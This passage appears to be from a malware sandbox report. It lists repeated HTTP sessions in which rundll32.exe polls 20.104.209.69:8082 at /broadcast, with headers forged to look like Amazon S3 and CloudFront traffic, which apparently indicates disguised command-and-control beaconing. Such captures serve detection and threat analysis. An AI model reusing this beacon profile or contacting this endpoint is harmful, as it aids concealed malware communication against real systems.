Jan 8, 2023 16:09:22.393877983 CET	1415	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49731	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:12.829780102 CET	461	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:12.948765039 CET	462	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.6	50029	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:23.132230043 CET	1418	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:23.250758886 CET	1419	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.6	50030	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:24.604432106 CET	1421	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:24.722985029 CET	1422	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:15 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.6	50031	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:24.973639011 CET	1424	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:25.092058897 CET	1425	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.6	50032	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:25.350032091 CET	1428	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:25.468635082 CET	1428	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.6	50033	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:25.737781048 CET	1431	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:25.856317043 CET	1431	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.2.6	50034	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:26.095542908 CET	1434	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:26.214123011 CET	1434	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.2.6	50035	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:26.487677097 CET	1437	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:26.606024981 CET	1437	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.2.6	50036	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:26.859910011 CET	1440	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:26.978300095 CET	1441	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.2.6	50037	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:27.234555006 CET	1443	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:27.352905035 CET	1444	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:18 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.2.6	50038	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:27.615051985 CET	1447	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:27.735544920 CET	1447	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49732	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:13.211927891 CET	464	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:13.329832077 CET	465	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.2.6	50039	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:27.991535902 CET	1450	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:28.109975100 CET	1450	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.2.6	50040	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:28.359472036 CET	1453	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:28.477332115 CET	1453	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:19 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.2.6	50041	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:28.802797079 CET	1456	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:28.924684048 CET	1456	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.2.6	50042	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:29.182790041 CET	1459	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:29.301726103 CET	1460	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.2.6	50043	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:29.568501949 CET	1462	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:29.691807985 CET	1463	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:20 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.2.6	50044	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:29.957075119 CET	1466	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:30.076278925 CET	1466	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.2.6	50045	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:30.335324049 CET	1469	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:30.453747034 CET	1469	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:21 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.2.6	50046	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:30.712304115 CET	1472	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:30.830456972 CET	1472	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:22 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.6	50047	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
